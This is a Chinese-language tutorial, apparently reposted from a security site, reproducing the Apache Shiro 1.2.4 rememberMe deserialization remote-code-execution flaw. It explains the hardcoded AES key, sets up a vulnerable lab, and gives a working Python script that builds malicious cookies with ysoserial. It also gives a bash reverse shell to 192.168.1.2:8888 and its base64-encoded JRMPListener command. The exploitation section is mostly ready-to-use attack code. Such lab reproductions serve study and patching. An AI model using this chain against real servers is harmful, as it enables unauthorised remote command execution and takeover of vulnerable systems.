可領全套安全課程、配套攻防靶場
影響版本
Apache Shiro <= 1.2.4
原因分析
Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。
AES加密
勾選記住密碼並登錄頁面上的賬號密碼,成功登錄後臺後返回Cookie中的rememberMe值為固定的512位。
從官方文檔中,我們知道在Shiro配置類中加入rememberMe管理器代碼中寫到cookie加密密鑰默認為AES算法並且密鑰為2AvVhdsgUs0FSA3SDFAdag==。
接著進行AES加密。動態跟蹤到AbstractRememberMeManager類的encrypt方法中,可以看到AES的模式為AES/CBC/PKCS5Padding
並且AES的key為Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),轉換為16進制後是x90xf1xfex6cx8cx64xe4x3dx9dx79x98x88xc5xc6x9ax68,key為16字節,128位。
進行AES加密,利用arraycopy()方法將隨機的16字節IV放到序列化後的數據前面,完成後再進行AES加密。
最後在CookieRememberMeManager類的rememberSerializedIdentity()方法中進行base64加密:
環境搭建
到Github獲取Apache Shiro 1.2.4版本 源文件
<code>git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4cd ./shiro/samples/web/<code>
為了配合生成反序列化的漏洞環境,需要添加存在漏洞的 jar 包,編輯 pom.xml文件,添加如下行:
<code> <properties> <maven.compiler.source>1.6/<maven.compiler.source> <maven.compiler.target>1.6/<maven.compiler.target> /<properties>... <dependencies> <dependency> <groupid>javax.servlet/<groupid> <artifactid>jstl/<artifactid> <version>1.2/<version> <scope>runtime/<scope> /<dependency>..... <dependency> <groupid>org.apache.commons/<groupid> <artifactid>commons-collections4/<artifactid> <version>4.0/<version> /<dependency><dependencies>/<dependencies>/<code>
修改完成後,使用Maven 把存在漏洞環境 war包進行編譯
最終可以將 target 目錄下生成的 samples-web-1.2.4.war 文件拷貝至 tomcat 目錄下的 webapps 目錄,這裡將其重命名為了 shiro.war 文件,啟動 tomcat, 在瀏覽器當中輸入
http://localhost:80/ 可以看到登錄頁面,如下圖:
然後,獲取我們復現需要用到的ysoserial工具
<code>git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests/<code>
生成的工具在target/目錄下ysoserial-0.0.6-SNAPSHOT-all.jar文件
漏洞利用
惡意 Cookie rememberMe值構造
前16字節的密鑰–>後面加入序列化參數–>AES加密–>base64編碼–>發送cookie
生成惡意rememberMe參數值Python代碼
python PopX.py 攻擊者IP:PORT
<code>import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar#文件需要在該文件目錄 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1])print "rememberMe={0}".format(payload.decode())/<code>
接下來製作反彈shell代碼
<code>bash-i>&/dev/tcp/192.168.1.2/88880>&1/<code>
然後進行Java反序列化繞過 base64編碼
http://www.jackson-t.ca/runtime-exec-payloads.html
再使用ysoserial中JRMP監聽模塊,監聽3888端口注意這裡的端口是剛才生成rememberMe值的端口。
再加上生成的base64編碼。
<code>java-cpysoserial-0.0.6-SNAPSHOT-all.jarysoserial.exploit.JRMPListener3888CommonsCollections5'bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'/<code>
命令執行
將使用PopX.py腳本生成的Cookie帶入Cookie請求中即連接成功反彈Shell。
這裡會收到請求數據再而遠程執行命令
監聽端口也收到反彈Shell
漏洞修復
目前官方發佈了最新版本 ,強烈建議您更新並使用最新版本。
轉載註明:https://www.secpulse.com/archives/112742.html
今天你知道了嗎
加群,黑客技術大咖在線解答(群號評論區見)
閱讀更多 暗網視界 的文章